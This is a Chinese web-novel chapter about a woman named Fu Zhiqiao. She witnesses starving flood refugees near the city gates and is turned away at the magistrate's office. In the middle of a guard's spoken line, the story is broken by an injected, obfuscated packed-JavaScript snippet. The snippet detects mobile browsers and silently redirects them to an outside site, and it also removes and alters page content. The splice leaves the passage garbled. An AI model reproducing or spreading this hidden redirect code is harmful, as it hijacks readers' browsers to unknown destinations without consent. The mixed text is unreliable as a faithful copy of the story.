最靠近侧门的一对爷孙引起了她的注意,年迈的老人双眼含泪,用手掰着一块黑乎乎的饼子喂给小孙子,小孙子抬起小手笨拙的给他擦着眼泪。 这一幕突然就戳中了傅知乔。 守城的官差走过来,问:“你是哪家的?出城干什么?” 驾车的小厮回答:“官差大人,我家姑娘想去城外看看亲戚。” 守城官差告诫她:“目前城外洪水退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092565|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了大半去,可低洼处依然是一片汪洋,你若执意出城,一切后果自己承担。” 眼前这种情形,她一旦出了侧门估计就会被灾民抢劫干净,此时要出城是不可能了。 “姑娘?”银杏一脸担忧。 “回去吧!”傅知乔放下车帘。 小厮驾车是没问题,可说能护着她平安到达酒庄就是痴人说梦了,为了安全起见,她只能等文江主动找过来了。 回去的路上,傅知乔脑海中不断浮现着刚才看到的场景。 怎么会是这种情形?官府的人不是在煮粥救灾吗?怎么那些灾民一副饿了好几天的模样? 傅知乔没有直接回家,而是吩咐小厮驾着马车驶向了衙门。 下了马车,还未走到衙门口她就被官差拦住了,“何人胆敢擅闯衙门?” 银杏上前一步挡在傅知乔面前:“这位官差大人,我家姑娘有要事找李大人商谈,麻烦你通报一声。”说着,她从袖子里掏出一块碎银子想塞给官差。 “走走走,我们大人岂是一般人想见就能见的?” 李文康早就下了命令,闲杂人等一律不见,那官差看傅知乔是个女子,连个多余的眼神都没给。 知府大人见不着,傅知乔只能打道回府,不过她没有选择直接回陵水巷,而是去御道附近转了一圈,街道两边到处都是灾民,还有很多人不知道是饿晕了还是饿死了,躺在路边无人看护…… 灾情比她想象中还要严重,傅知乔不忍心再看下去。 洪水冲毁了百姓们的家园,现在又得不到稳妥的安置,很多人只能够眼睁睁的看着亲人一个接一个的被饿死。 他们好不容易在洪水中活了下来,此刻却因没有食物而被活活饿死。 回去的路上,傅知乔坐在马车里叹气,要是此时周妙思在就好了,她可以通过周妙思的关系直接拜见刺史大人,只可惜,此时的周妙思怕是正在京城准备婚事。 “吁”的一声,马车在傅府门口停了下来。 傅知乔回过神来,她自嘲的笑了笑,她可能是在太平盛世里待久了,便不自觉把以前的想法给代入进来了。 在她那个世界,无论遇到什么灾害,国家的救援人员都能第一时间抵达现场,救灾物资、救灾通道全部都能短时间内打通,而在这里…… 算了,不说也罢。 傅知乔下来后小厮把马车赶回了后院,门房见自家姑娘说要出城结果这么快就回来了也不敢多问。 余柔岚看到她:“怎么?不去酒庄了?” 傅知乔叹了口气,语气颇为沉重,“城门附近全是灾民,马车寸步难行。” “啊?衙门昨天不是在施粥吗?城外的情况还没得到好转?” 傅知乔点了点头,余柔岚叹气,也不再说话。 陵水巷的住户们不说很有钱,但生活水平至少是在温饱线上的,她的邻居们早就恢复了正常的生活水平,但余柔岚一直没有出去过巷子,所以并不知道外界是什么模样。 “阿乔,我们能帮帮他们吗?” “我正在想办法呢!”傅知乔回答,她的得力助手德福和文江文山都不在身边,程业玄也被指派去保护酒庄,她身边目前是无人能用的情况。 粮食短缺,医护缺少,城里有许多苟延残喘的灾民无人照看,饿红了眼的灾民难保不会聚众闹事,傅知乔心中明白,这样的状态长久下去势必会导致大乱发生。 当初李文康向商户们捐款剿匪,代表太白酒铺参加的人是德福,傅知乔虽然没有直接与李文康接触过,但也知道猜出这位李大人的性子。 第二天,傅知乔又去了衙门,这次她是有备而来。